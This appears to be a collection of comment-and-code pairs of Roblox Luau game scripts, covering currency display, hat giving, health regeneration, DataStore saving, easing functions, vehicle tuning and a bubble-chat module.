for i,v in pairs(child.Part1.Parent:GetChildren())do
if v:IsA("Part") then
v.Transparency=1
v.CanCollide=false
end
end
end
end
end) |
-- local script inside a TextLabel |
local player = game.Players.LocalPlayer
local SoulValue = player.Currency.Soul
local textLabel = script.Parent
local function updateText()
local Soul = SoulValue.Value
if Soul > 999 then
if Soul >= 1000000 then
textLabel.Text = string.format("%.1fM", Soul / 1000000)
elseif Soul >= 1000 then
textLabel.Text = string.format("%.1fK", Soul / 1000)
end
else
textLabel.Text = tostring(Soul)
end
end
SoulValue.Changed:Connect(updateText)
updateText()
|
-- If you want to know how to retexture a hat, read this: http://www.roblox.com/Forum/ShowPost.aspx?PostID=10502388 |
debounce = true
function onTouched(hit)
if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
debounce = false
h = Instance.new("Hat")
p = Instance.new("Part")
h.Name = "Hat" -- It doesn't make a difference, but if you want to make your place in Explorer neater, change this to the name of your hat.
p.Parent = h
p.Position = hit.Parent:findFirstChild("Head").Position
p.Name = "Handle"
p.formFactor = 0
p.Size = Vector3.new(-0,-0,-1)
p.BottomSurface = 0
p.TopSurface = 0
p.Locked = true
script.Parent.Mesh:clone().Parent = p
h.Parent = hit.Parent
h.AttachmentPos = Vector3.new(0, -0.47, -0.005) -- Change these to change the positiones of your hat, as I said earlier.
wait(5) debounce = true
end
end
script.Parent.Touched:connect(onTouched)
|
--//Controller//-- |
while task.wait(Configuration.RegenTime.Value) do
if Humanoid.Sit == true then
Humanoid.Health = Humanoid.Health + Configuration.HealthRegen.Value
end
end
|
-- Saves profile card information for next time |
Players.PlayerRemoving:Connect(function(player)
local statusSuccess, statusError = pcall(function()
Statuses:SetAsync(player.UserId, player:GetAttribute("status"))
end)
if statusSuccess then
print("Status successfully updated!")
else
print(player, statusError)
end
end)
|
--By Thomasthered |
local Model = script.Parent
local Config = Model.Configuration
local Username = Config.Username.Value
local function resetModel()
for i,v in pairs(Model:GetChildren()) do
if v:IsA('CharacterMesh') or v:IsA('Shirt') or v:IsA('Pants') or v:IsA('Accessory') or v:IsA('ShirtGraphic') then
v:Destroy()
end
end
if Model.Head:findFirstChild('Mesh') then
Model.Head.Mesh:Destroy()
end
end
local function updateModel()
local AppModel = game.Players:GetCharacterAppearanceAsync(game.Players:GetUserIdFromNameAsync(Username))
for i,v in pairs(AppModel:GetChildren()) do
if v:IsA('SpecialMesh') or v:IsA('BlockMesh') or v:IsA('CylinderMesh') then
v.Parent = Model.Head
elseif v:IsA('Decal') then
Model.Head.face.Texture = v.Texture
elseif v:IsA('BodyColors') or v:IsA('CharacterMesh') or v:IsA('Shirt') or v:IsA('Pants') or v:IsA('ShirtGraphic') then
if Model:findFirstChild('Body Colors') then
Model['Body Colors']:Destroy()
end
v.Parent = Model
elseif v:IsA('Accessory') then
v.Parent = Model
v.Handle.CFrame = Model.Head.CFrame * CFrame.new(0, Model.Head.Size.Y / 2, 0) * v.AttachmentPoint:inverse()
else
print('Object: '..v.Name..' is not recognised, type: '..v.ClassName)
end
end
if not Model.Head:FindFirstChild('Mesh') then
local m = Instance.new('SpecialMesh', Model.Head)
m.MeshType = Enum.MeshType.Head
m.Scale = Vector3.new(1.25, 1.25, 1.25)
end
end
wait(2)
updateModel()
|
-- Prepping joint variables |
local neck, shoulder, oldNeckC0, oldShoulderC0, saveAngle
saveAngle = Vector3.new(0, 0, 0) -- Just giving it an initial value
|
--[=[
@function removeValues
@within Dictionary
@param dictionary {[K]: V} -- The dictionary to remove the values from.
@param values ...V -- The values to remove.
@return {[K]: V} -- The dictionary without the given values.
Removes the given values from the given dictionary.
```lua
local dictionary = { hello = "world", cat = "meow", unicorn = "rainbow", goodbye = "world" }
local withoutWorld = RemoveValues(dictionary, "world") -- { cat = "meow", unicorn = "rainbow" }
local onlyWorld = RemoveValues(dictionary, "meow", "rainbow") -- { hello = "world", goodbye = "world" }
```
]=] |
local function removeValues<K, V>(dictionary: { [K]: V }, ...: V): { [K]: V }
local values = ToSet({ ... })
local result = {}
for key, value in pairs(dictionary) do
if not values[value] then
result[key] = value
end
end
return result
end
return removeValues
|
--// Modules |
local L_92_ = require(L_21_:WaitForChild("Utilities"))
local L_93_ = require(L_21_:WaitForChild("Spring"))
local L_94_ = require(L_21_:WaitForChild("Plugins"))
local L_95_ = require(L_21_:WaitForChild("easing"))
local L_96_ = L_92_.Fade
local L_97_ = L_92_.SpawnCam
local L_98_ = L_92_.FixCam
local L_99_ = L_92_.tweenFoV
local L_100_ = L_92_.tweenCam
local L_101_ = L_92_.tweenRoll
local L_102_ = L_92_.TweenJoint
local L_103_ = L_92_.Weld
|
--{{SERVICES}} |
local TweenService = game:GetService("TweenService")
local Debris = game:GetService("Debris")
|
------------------------------------------------------------------------------------------------------------------------------------------------ |
easings.QuadIn = function(t)
t = t / 1
return 1 * math.pow(t, 2) + 0
end
easings.QuadOut = function(t)
t = t / 1
return -1 * t * (t - 2) + 0
end
easings.QuadInOut = function(t)
t = t / 1 * 2
if t < 1 then
return 1 / 2 * math.pow(t, 2) + 0
else
return -1 / 2 * ((t - 1) * (t - 3) - 1) + 0
end
end
easings.QuadOutIn = function(t)
if t < 1 / 2 then
return easings.QuadOut(t * 2, 0, 1 / 2, 1)
else
return easings.QuadIn((t * 2) - 1, 0 + 1 / 2, 1 / 2, 1)
end
end
easings.CubicIn = function(t)
t = t / 1
return 1 * math.pow(t, 3) + 0
end
easings.CubicOut = function(t)
t = t / 1 - 1
return 1 * (math.pow(t, 3) + 1) + 0
end
easings.CubicInOut = function(t)
t = t / 1 * 2
if t < 1 then
return 1 / 2 * t * t * t + 0
else
t = t - 2
return 1 / 2 * (t * t * t + 2) + 0
end
end
easings.CubicOutIn = function(t)
if t < 1 / 2 then
return easings.CubicOut(t * 2, 0, 1 / 2, 1)
else
return easings.CubicIn((t * 2) - 1, 0 + 1 / 2, 1 / 2, 1)
end
end
easings.QuartIn = function(t)
t = t / 1
return 1 * math.pow(t, 4) + 0
end
easings.QuartOut = function(t)
t = t / 1 - 1
return -1 * (math.pow(t, 4) - 1) + 0
end
easings.QuartInOut = function(t)
t = t / 1 * 2
if t < 1 then
return 1 / 2 * math.pow(t, 4) + 0
else
t = t - 2
return -1 / 2 * (math.pow(t, 4) - 2) + 0
end
end
easings.QuartOutIn = function(t)
if t < 1 / 2 then
return easings.QuartOut(t * 2, 0, 1 / 2, 1)
else
return easings.QuartIn((t * 2) - 1, 0 + 1 / 2, 1 / 2, 1)
end
end
easings.QuintIn = function(t)
t = t / 1
return 1 * math.pow(t, 5) + 0
end
easings.QuintOut = function(t)
t = t / 1 - 1
return 1 * (math.pow(t, 5) + 1) + 0
end
easings.QuintInOut = function(t)
t = t / 1 * 2
if t < 1 then
return 1 / 2 * math.pow(t, 5) + 0
else
t = t - 2
return 1 / 2 * (math.pow(t, 5) + 2) + 0
end
end
easings.QuintOutIn = function(t)
if t < 1 / 2 then
return easings.QuintOut(t * 2, 0, 1 / 2, 1)
else
return easings.QuintIn((t * 2) - 1, 0 + 1 / 2, 1 / 2, 1)
end
end
easings.SineIn = function(t)
return -1 * math.cos(t / 1 * (math.pi / 2)) + 1 + 0
end
easings.SineOut = function(t)
return 1 * math.sin(t / 1 * (math.pi / 2)) + 0
end
easings.SineInOut = function(t)
return -1 / 2 * (math.cos(math.pi * t / 1) - 1) + 0
end
easings.SineOutIn = function(t)
if t < 1 / 2 then
return easings.SineOut(t * 2, 0, 1 / 2, 1)
else
return easings.SineIn((t * 2) -1, 0 + 1 / 2, 1 / 2, 1)
end
end
easings.ExpoIn = function(t)
if t == 0 then
return 0
else
return 1 * math.pow(2, 10 * (t / 1 - 1)) + 0 - 1 * 0.001
end
end
easings.ExpoOut = function(t)
if t == 1 then
return 0 + 1
else
return 1 * 1.001 * (-math.pow(2, -10 * t / 1) + 1) + 0
end
end
easings.ExpoInOut = function(t)
if t == 0 then return 0 end
if t == 1 then return 0 + 1 end
t = t / 1 * 2
if t < 1 then
return 1 / 2 * math.pow(2, 10 * (t - 1)) + 0 - 1 * 0.0005
else
t = t - 1
return 1 / 2 * 1.0005 * (-math.pow(2, -10 * t) + 2) + 0
end
end
easings.ExpoOutIn = function(t)
if t < 1 / 2 then
return easings.ExpoOut(t * 2, 0, 1 / 2, 1)
else
return easings.ExpoIn((t * 2) - 1, 0 + 1 / 2, 1 / 2, 1)
end
end
easings.CircIn = function(t)
t = t / 1
return(-1 * (math.sqrt(1 - math.pow(t, 2)) - 1) + 0)
end
easings.CircOut = function(t)
t = t / 1 - 1
return(1 * math.sqrt(1 - math.pow(t, 2)) + 0)
end
easings.CircInOut = function(t)
t = t / 1 * 2
if t < 1 then
return -1 / 2 * (math.sqrt(1 - t * t) - 1) + 0
else
t = t - 2
return 1 / 2 * (math.sqrt(1 - t * t) + 1) + 0
end
end
easings.CircOutIn = function(t)
if t < 1 / 2 then
return easings.CircOut(t * 2, 0, 1 / 2, 1)
else
return easings.CircIn((t * 2) - 1, 0 + 1 / 2, 1 / 2, 1)
end
end
easings.ElasticIn = function(t)
if t == 0 then return 0 end
t = t / 1
if t == 1 then return 0 + 1 end
if not p then p = 1 * 0.3 end
local s
if not a or a < math.abs(1) then
a = 1
s = p / 4
else
s = p / (2 * math.pi) * math.asin(1/a)
end
t = t - 1
return -(a * math.pow(2, 10 * t) * math.sin((t * 1 - s) * (2 * math.pi) / p)) + 0
end
easings.ElasticOut = function(t)
if t == 0 then return 0 end
t = t / 1
if t == 1 then return 0 + 1 end
if not p then p = 1 * 0.3 end
local s
if not a or a < math.abs(1) then
a = 1
s = p / 4
else
s = p / (2 * math.pi) * math.asin(1/a)
end
return a * math.pow(2, -10 * t) * math.sin((t * 1 - s) * (2 * math.pi) / p) + 1 + 0
end
easings.ElasticInOut = function(t)
if t == 0 then return 0 end
t = t / 1 * 2
if t == 2 then return 0 + 1 end
if not p then p = 1 * (0.3 * 1.5) end
if not a then a = 0 end
local s
if not a or a < math.abs(1) then
a = 1
s = p / 4
else
s = p / (2 * math.pi) * math.asin(1 / a)
end
if t < 1 then
t = t - 1
return -0.5 * (a * math.pow(2, 10 * t) * math.sin((t * 1 - s) * (2 * math.pi) / p)) + 0
else
t = t - 1
return a * math.pow(2, -10 * t) * math.sin((t * 1 - s) * (2 * math.pi) / p ) * 0.5 + 1 + 0
end
end
easings.ElasticOutIn = function(t)
if t < 1 / 2 then
return easings.ElasticOut(t * 2, 0, 1 / 2, 1, a, p)
else
return easings.ElasticIn((t * 2) - 1, 0 + 1 / 2, 1 / 2, 1, a, p)
end
end
easings.BackIn = function(t)
if not s then s = 1.70158 end
t = t / 1
return 1 * t * t * ((s + 1) * t - s) + 0
end
easings.BackOut = function(t)
if not s then s = 1.70158 end
t = t / 1 - 1
return 1 * (t * t * ((s + 1) * t + s) + 1) + 0
end
easings.BackInOut = function(t)
if not s then s = 1.70158 end
s = s * 1.525
t = t / 1 * 2
if t < 1 then
return 1 / 2 * (t * t * ((s + 1) * t - s)) + 0
else
t = t - 2
return 1 / 2 * (t * t * ((s + 1) * t + s) + 2) + 0
end
end
easings.BackOutIn = function(t)
if t < 1 / 2 then
return easings.BackOut(t * 2, 0, 1 / 2, 1, s)
else
return easings.BackIn((t * 2) - 1, 0 + 1 / 2, 1 / 2, 1, s)
end
end
easings.BounceOut = function(t)
t = t / 1
if t < 1 / 2.75 then
return 1 * (7.5625 * t * t) + 0
elseif t < 2 / 2.75 then
t = t - (1.5 / 2.75)
return 1 * (7.5625 * t * t + 0.75) + 0
elseif t < 2.5 / 2.75 then
t = t - (2.25 / 2.75)
return 1 * (7.5625 * t * t + 0.9375) + 0
else
t = t - (2.625 / 2.75)
return 1 * (7.5625 * t * t + 0.984375) + 0
end
end
easings.BounceIn = function(t)
return 1 - easings.BounceOut(1 - t, 0, 1, 1) + 0
end
easings.BounceInOut = function(t)
if t < 1 / 2 then
return easings.BounceIn(t * 2, 0, 1, 1) * 0.5 + 0
else
return easings.BounceOut(t * 2 - 1, 0, 1, 1) * 0.5 + 1 * .5 + 0
end
end
easings.BounceOutIn = function(t)
if t < 1 / 2 then
return easings.BounceOut(t * 2, 0, 1 / 2, 1)
else
return easings.BounceIn((t * 2) - 1, 0 + 1 / 2, 1 / 2, 1)
end
end
|
--[[Transmission]] |
Tune.TransModes = {"Semi"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "Speed" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev)
--Gear Ratios
Tune.FinalDrive = 4.06 -- Gearing determines top speed and wheel torque
Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed
--[[Reverse]] 3.70 , -- Copy and paste a ratio to add a gear
--[[Neutral]] 0 , -- Ratios can also be deleted
--[[ 1 ]] 3.53 , -- Reverse, Neutral, and 1st gear are required
--[[ 2 ]] 2.04 ,
--[[ 3 ]] 1.38 ,
--[[ 4 ]] 1.03 ,
--[[ 5 ]] 0.81 ,
--[[ 6 ]] 0.64 ,
}
Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
|
-- init chat bubble tables |
local function initChatBubbleType(chatBubbleType, fileName, imposterFileName, isInset, sliceRect)
this.ChatBubble[chatBubbleType] = createChatBubbleMain(fileName, sliceRect)
this.ChatBubbleWithTail[chatBubbleType] = createChatBubbleWithTail(fileName, UDim2.new(0.5, -CHAT_BUBBLE_TAIL_HEIGHT, 1, isInset and -1 or 0), UDim2.new(0, 30, 0, CHAT_BUBBLE_TAIL_HEIGHT), sliceRect)
this.ScalingChatBubbleWithTail[chatBubbleType] = createScaledChatBubbleWithTail(fileName, 0.5, UDim2.new(-0.5, 0, 0, isInset and -1 or 0), sliceRect)
end
initChatBubbleType(BubbleColor.WHITE, "ui/dialog_white", "ui/chatBubble_white_notify_bkg", false, Rect.new(5,5,15,15))
initChatBubbleType(BubbleColor.BLUE, "ui/dialog_blue", "ui/chatBubble_blue_notify_bkg", true, Rect.new(7,7,33,33))
initChatBubbleType(BubbleColor.RED, "ui/dialog_red", "ui/chatBubble_red_notify_bkg", true, Rect.new(7,7,33,33))
initChatBubbleType(BubbleColor.GREEN, "ui/dialog_green", "ui/chatBubble_green_notify_bkg", true, Rect.new(7,7,33,33))
function this:SanitizeChatLine(msg)
if string.len(msg) > MaxChatMessageLengthExclusive then
return string.sub(msg, 1, MaxChatMessageLengthExclusive + string.len(ELIPSES))
else
return msg
end
end
local function createBillboardInstance(adornee)
local billboardGui = Instance.new("BillboardGui")
billboardGui.Adornee = adornee
billboardGui.Size = UDim2.new(0,BILLBOARD_MAX_WIDTH,0,BILLBOARD_MAX_HEIGHT)
billboardGui.StudsOffset = Vector3.new(0, 1.5, 2)
billboardGui.Parent = BubbleChatScreenGui
local billboardFrame = Instance.new("Frame")
billboardFrame.Name = "BillboardFrame"
billboardFrame.Size = UDim2.new(1,0,1,0)
billboardFrame.Position = UDim2.new(0,0,-0.5,0)
billboardFrame.BackgroundTransparency = 1
billboardFrame.Parent = billboardGui
local billboardChildRemovedCon = nil
billboardChildRemovedCon = billboardFrame.ChildRemoved:connect(function()
if #billboardFrame:GetChildren() <= 1 then
billboardChildRemovedCon:disconnect()
billboardGui:Destroy()
end
end)
this:CreateSmallTalkBubble(BubbleColor.WHITE).Parent = billboardFrame
return billboardGui
end
function this:CreateBillboardGuiHelper(instance, onlyCharacter)
if instance and not this.CharacterSortedMsg:Get(instance)["BillboardGui"] then
if not onlyCharacter then
if instance:IsA("BasePart") then
-- Create a new billboardGui object attached to this player
local billboardGui = createBillboardInstance(instance)
this.CharacterSortedMsg:Get(instance)["BillboardGui"] = billboardGui
return
end
end
if instance:IsA("Model") then
local head = instance:FindFirstChild("Head")
if head and head:IsA("BasePart") then
-- Create a new billboardGui object attached to this player
local billboardGui = createBillboardInstance(head)
this.CharacterSortedMsg:Get(instance)["BillboardGui"] = billboardGui
end
end
end
end
local function distanceToBubbleOrigin(origin)
if not origin then return 100000 end
return (origin.Position - game.Workspace.CurrentCamera.CoordinateFrame.p).magnitude
end
local function isPartOfLocalPlayer(adornee)
if adornee and PlayersService.LocalPlayer.Character then
return adornee:IsDescendantOf(PlayersService.LocalPlayer.Character)
end
end
function this:SetBillboardLODNear(billboardGui)
local isLocalPlayer = isPartOfLocalPlayer(billboardGui.Adornee)
billboardGui.Size = UDim2.new(0, BILLBOARD_MAX_WIDTH, 0, BILLBOARD_MAX_HEIGHT)
billboardGui.StudsOffset = Vector3.new(0, isLocalPlayer and 1.5 or 2.5, isLocalPlayer and 2 or 0.1)
billboardGui.Enabled = true
local billChildren = billboardGui.BillboardFrame:GetChildren()
for i = 1, #billChildren do
billChildren[i].Visible = true
end
billboardGui.BillboardFrame.SmallTalkBubble.Visible = false
end
function this:SetBillboardLODDistant(billboardGui)
local isLocalPlayer = isPartOfLocalPlayer(billboardGui.Adornee)
billboardGui.Size = UDim2.new(4,0,3,0)
billboardGui.StudsOffset = Vector3.new(0, 3, isLocalPlayer and 2 or 0.1)
billboardGui.Enabled = true
local billChildren = billboardGui.BillboardFrame:GetChildren()
for i = 1, #billChildren do
billChildren[i].Visible = false
end
billboardGui.BillboardFrame.SmallTalkBubble.Visible = true
end
function this:SetBillboardLODVeryFar(billboardGui)
billboardGui.Enabled = false
end
function this:SetBillboardGuiLOD(billboardGui, origin)
if not origin then return end
if origin:IsA("Model") then
local head = origin:FindFirstChild("Head")
if not head then origin = origin.PrimaryPart
else origin = head end
end
local bubbleDistance = distanceToBubbleOrigin(origin)
if bubbleDistance < NEAR_BUBBLE_DISTANCE then
this:SetBillboardLODNear(billboardGui)
elseif bubbleDistance >= NEAR_BUBBLE_DISTANCE and bubbleDistance < MAX_BUBBLE_DISTANCE then
this:SetBillboardLODDistant(billboardGui)
else
this:SetBillboardLODVeryFar(billboardGui)
end
end
function this:CameraCFrameChanged()
for index, value in pairs(this.CharacterSortedMsg:GetData()) do
local playerBillboardGui = value["BillboardGui"]
if playerBillboardGui then this:SetBillboardGuiLOD(playerBillboardGui, index) end
end
end
function this:CreateBubbleText(message)
local bubbleText = Instance.new("TextLabel")
bubbleText.Name = "BubbleText"
bubbleText.BackgroundTransparency = 1
bubbleText.Position = UDim2.new(0,CHAT_BUBBLE_WIDTH_PADDING/2,0,0)
bubbleText.Size = UDim2.new(1,-CHAT_BUBBLE_WIDTH_PADDING,1,0)
bubbleText.Font = CHAT_BUBBLE_FONT
if shouldClipInGameChat then
bubbleText.ClipsDescendants = true
end
bubbleText.TextWrapped = true
bubbleText.FontSize = CHAT_BUBBLE_FONT_SIZE
bubbleText.Text = message
bubbleText.Visible = false
return bubbleText
end
function this:CreateSmallTalkBubble(chatBubbleType)
local smallTalkBubble = this.ScalingChatBubbleWithTail[chatBubbleType]:Clone()
smallTalkBubble.Name = "SmallTalkBubble"
smallTalkBubble.AnchorPoint = Vector2.new(0, 0.5)
smallTalkBubble.Position = UDim2.new(0,0,0.5,0)
smallTalkBubble.Visible = false
local text = this:CreateBubbleText("...")
text.TextScaled = true
text.TextWrapped = false
text.Visible = true
text.Parent = smallTalkBubble
return smallTalkBubble
end
function this:UpdateChatLinesForOrigin(origin, currentBubbleYPos)
local bubbleQueue = this.CharacterSortedMsg:Get(origin).Fifo
local bubbleQueueSize = bubbleQueue:Size()
local bubbleQueueData = bubbleQueue:GetData()
if #bubbleQueueData <= 1 then return end
for index = (#bubbleQueueData - 1), 1, -1 do
local value = bubbleQueueData[index]
local bubble = value.RenderBubble
if not bubble then return end
local bubblePos = bubbleQueueSize - index + 1
if bubblePos > 1 then
local tail = bubble:FindFirstChild("ChatBubbleTail")
if tail then tail:Destroy() end
local bubbleText = bubble:FindFirstChild("BubbleText")
if bubbleText then bubbleText.TextTransparency = 0.5 end
end
local udimValue = UDim2.new( bubble.Position.X.Scale, bubble.Position.X.Offset,
1, currentBubbleYPos - bubble.Size.Y.Offset - CHAT_BUBBLE_TAIL_HEIGHT )
bubble:TweenPosition(udimValue, Enum.EasingDirection.Out, Enum.EasingStyle.Bounce, 0.1, true)
currentBubbleYPos = currentBubbleYPos - bubble.Size.Y.Offset - CHAT_BUBBLE_TAIL_HEIGHT
end
end
function this:DestroyBubble(bubbleQueue, bubbleToDestroy)
if not bubbleQueue then return end
if bubbleQueue:Empty() then return end
local bubble = bubbleQueue:Front().RenderBubble
if not bubble then
bubbleQueue:PopFront()
return
end
spawn(function()
while bubbleQueue:Front().RenderBubble ~= bubbleToDestroy do
task.wait()
end
bubble = bubbleQueue:Front().RenderBubble
local timeBetween = 0
local bubbleText = bubble:FindFirstChild("BubbleText")
local bubbleTail = bubble:FindFirstChild("ChatBubbleTail")
while bubble and bubble.ImageTransparency < 1 do
timeBetween = task.wait()
if bubble then
local fadeAmount = timeBetween * CHAT_BUBBLE_FADE_SPEED
bubble.ImageTransparency = bubble.ImageTransparency + fadeAmount
if bubbleText then bubbleText.TextTransparency = bubbleText.TextTransparency + fadeAmount end
if bubbleTail then bubbleTail.ImageTransparency = bubbleTail.ImageTransparency + fadeAmount end
end
end
if bubble then
bubble:Destroy()
bubbleQueue:PopFront()
end
end)
end
function this:CreateChatLineRender(instance, line, onlyCharacter, fifo)
if not instance then return end
if not this.CharacterSortedMsg:Get(instance)["BillboardGui"] then
this:CreateBillboardGuiHelper(instance, onlyCharacter)
end
local billboardGui = this.CharacterSortedMsg:Get(instance)["BillboardGui"]
if billboardGui then
local chatBubbleRender = this.ChatBubbleWithTail[line.BubbleColor]:Clone()
chatBubbleRender.Visible = false
local bubbleText = this:CreateBubbleText(line.Message)
bubbleText.Parent = chatBubbleRender
chatBubbleRender.Parent = billboardGui.BillboardFrame
line.RenderBubble = chatBubbleRender
local currentTextBounds = TextService:GetTextSize(
bubbleText.Text, CHAT_BUBBLE_FONT_SIZE_INT, CHAT_BUBBLE_FONT,
Vector2.new(BILLBOARD_MAX_WIDTH, BILLBOARD_MAX_HEIGHT))
local bubbleWidthScale = math.max((currentTextBounds.X + CHAT_BUBBLE_WIDTH_PADDING)/BILLBOARD_MAX_WIDTH, 0.1)
local numOflines = (currentTextBounds.Y/CHAT_BUBBLE_FONT_SIZE_INT)
-- prep chat bubble for tween
chatBubbleRender.Size = UDim2.new(0,0,0,0)
chatBubbleRender.Position = UDim2.new(0.5,0,1,0)
local newChatBubbleOffsetSizeY = numOflines * CHAT_BUBBLE_LINE_HEIGHT
chatBubbleRender:TweenSizeAndPosition(UDim2.new(bubbleWidthScale, 0, 0, newChatBubbleOffsetSizeY),
UDim2.new( (1-bubbleWidthScale)/2, 0, 1, -newChatBubbleOffsetSizeY),
Enum.EasingDirection.Out, Enum.EasingStyle.Elastic, 0.1, true,
function() bubbleText.Visible = true end)
-- todo: remove when over max bubbles
this:SetBillboardGuiLOD(billboardGui, line.Origin)
this:UpdateChatLinesForOrigin(line.Origin, -newChatBubbleOffsetSizeY)
delay(line.BubbleDieDelay, function()
this:DestroyBubble(fifo, chatBubbleRender)
end)
end
end
function this:OnPlayerChatMessage(sourcePlayer, message, targetPlayer)
if not this:BubbleChatEnabled() then return end
local localPlayer = PlayersService.LocalPlayer
local fromOthers = localPlayer ~= nil and sourcePlayer ~= localPlayer
local safeMessage = this:SanitizeChatLine(message)
local line = createPlayerChatLine(sourcePlayer, safeMessage, not fromOthers)
if sourcePlayer and line.Origin then
local fifo = this.CharacterSortedMsg:Get(line.Origin).Fifo
fifo:PushBack(line)
--Game chat (badges) won't show up here
this:CreateChatLineRender(sourcePlayer.Character, line, true, fifo)
end
end
function this:OnGameChatMessage(origin, message, color)
local localPlayer = PlayersService.LocalPlayer
local fromOthers = localPlayer ~= nil and (localPlayer.Character ~= origin)
local bubbleColor = BubbleColor.WHITE
if color == Enum.ChatColor.Blue then bubbleColor = BubbleColor.BLUE
elseif color == Enum.ChatColor.Green then bubbleColor = BubbleColor.GREEN
elseif color == Enum.ChatColor.Red then bubbleColor = BubbleColor.RED end
local safeMessage = this:SanitizeChatLine(message)
local line = createGameChatLine(origin, safeMessage, not fromOthers, bubbleColor)
this.CharacterSortedMsg:Get(line.Origin).Fifo:PushBack(line)
this:CreateChatLineRender(origin, line, false, this.CharacterSortedMsg:Get(line.Origin).Fifo)
end
function this:BubbleChatEnabled()
local clientChatModules = ChatService:FindFirstChild("ClientChatModules")
if clientChatModules then
local chatSettings = clientChatModules:FindFirstChild("ChatSettings")
if chatSettings then
local chatSettings = require(chatSettings)
if chatSettings.BubbleChatEnabled ~= nil then
return chatSettings.BubbleChatEnabled
end
end
end
return PlayersService.BubbleChat
end
function this:ShowOwnFilteredMessage()
local clientChatModules = ChatService:FindFirstChild("ClientChatModules")
if clientChatModules then
local chatSettings = clientChatModules:FindFirstChild("ChatSettings")
if chatSettings then
chatSettings = require(chatSettings)
return chatSettings.ShowUserOwnFilteredMessage
end
end
return false
end
function findPlayer(playerName)
for i,v in pairs(PlayersService:GetPlayers()) do
if v.Name == playerName then
return v
end
end
end
ChatService.Chatted:connect(function(origin, message, color) this:OnGameChatMessage(origin, message, color) end)
local cameraChangedCon = nil
if game.Workspace.CurrentCamera then
cameraChangedCon = game.Workspace.CurrentCamera:GetPropertyChangedSignal("CFrame"):connect(function(prop) this:CameraCFrameChanged() end)
end
game.Workspace.Changed:connect(function(prop)
if prop == "CurrentCamera" then
if cameraChangedCon then cameraChangedCon:disconnect() end
if game.Workspace.CurrentCamera then
cameraChangedCon = game.Workspace.CurrentCamera:GetPropertyChangedSignal("CFrame"):connect(function(prop) this:CameraCFrameChanged() end)
end
end
end)
local AllowedMessageTypes = nil
function getAllowedMessageTypes()
if AllowedMessageTypes then
return AllowedMessageTypes
end
local clientChatModules = ChatService:FindFirstChild("ClientChatModules")
if clientChatModules then
local chatSettings = clientChatModules:FindFirstChild("ChatSettings")
if chatSettings then
chatSettings = require(chatSettings)
if chatSettings.BubbleChatMessageTypes then
AllowedMessageTypes = chatSettings.BubbleChatMessageTypes
return AllowedMessageTypes
end
end
local chatConstants = clientChatModules:FindFirstChild("ChatConstants")
if chatConstants then
chatConstants = require(chatConstants)
AllowedMessageTypes = {chatConstants.MessageTypeDefault, chatConstants.MessageTypeWhisper}
end
return AllowedMessageTypes
end
return {"Message", "Whisper"}
end
function checkAllowedMessageType(messageData)
local allowedMessageTypes = getAllowedMessageTypes()
for i = 1, #allowedMessageTypes do
if allowedMessageTypes[i] == messageData.MessageType then
return true
end
end
return false
end
local ChatEvents = ReplicatedStorage:WaitForChild("DefaultChatSystemChatEvents")
local OnMessageDoneFiltering = ChatEvents:WaitForChild("OnMessageDoneFiltering")
local OnNewMessage = ChatEvents:WaitForChild("OnNewMessage")
OnNewMessage.OnClientEvent:connect(function(messageData, channelName)
if not checkAllowedMessageType(messageData) then
return
end
local sender = findPlayer(messageData.FromSpeaker)
if not sender then
return
end
if not messageData.IsFiltered or messageData.FromSpeaker == LocalPlayer.Name then
if messageData.FromSpeaker ~= LocalPlayer.Name or this:ShowOwnFilteredMessage() then
return
end
end
this:OnPlayerChatMessage(sender, messageData.Message, nil)
end)
OnMessageDoneFiltering.OnClientEvent:connect(function(messageData, channelName)
if not checkAllowedMessageType(messageData) then
return
end
local sender = findPlayer(messageData.FromSpeaker)
if not sender then
return
end
if messageData.FromSpeaker == LocalPlayer.Name and not this:ShowOwnFilteredMessage() then
return
end
this:OnPlayerChatMessage(sender, messageData.Message, nil)
end)
|
--------RIGHT DOOR -------- |
game.Workspace.doorright.l11.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l12.BrickColor = BrickColor.new(1)
game.Workspace.doorright.l13.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l41.BrickColor = BrickColor.new(1)
game.Workspace.doorright.l42.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l43.BrickColor = BrickColor.new(1)
game.Workspace.doorright.l71.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l72.BrickColor = BrickColor.new(1)
game.Workspace.doorright.l73.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l31.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l32.BrickColor = BrickColor.new(1)
game.Workspace.doorright.l33.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l61.BrickColor = BrickColor.new(1)
game.Workspace.doorright.l62.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l63.BrickColor = BrickColor.new(1)
game.Workspace.doorright.l21.BrickColor = BrickColor.new(1)
game.Workspace.doorright.l22.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l23.BrickColor = BrickColor.new(1)
game.Workspace.doorright.l51.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l52.BrickColor = BrickColor.new(1)
game.Workspace.doorright.l53.BrickColor = BrickColor.new(21)
game.Workspace.doorright.pillar.BrickColor = BrickColor.new(21) |
--///////////////////////// Constructors
--////////////////////////////////////// |
function module.new(vChatService, name)
local obj = setmetatable({}, methods)
obj.ChatService = vChatService
obj.PlayerObj = nil
obj.Name = name
obj.ExtraData = {}
obj.Channels = {}
obj.MutedSpeakers = {}
obj.EventFolder = nil
return obj
end
return module
|
----------All Scripts And Building Goes To Originalsavageguy345.Credit | |
--[=[
@within Shake
@prop FadeInTime number
How long it takes for the shake to fade in, measured in seconds.
Defaults to `1`.
]=] | |
-- Track star progress from last change |
local prevStarProgress = 0
local currStarProgress = 0
|
--I do this to make sure no one copys. :D
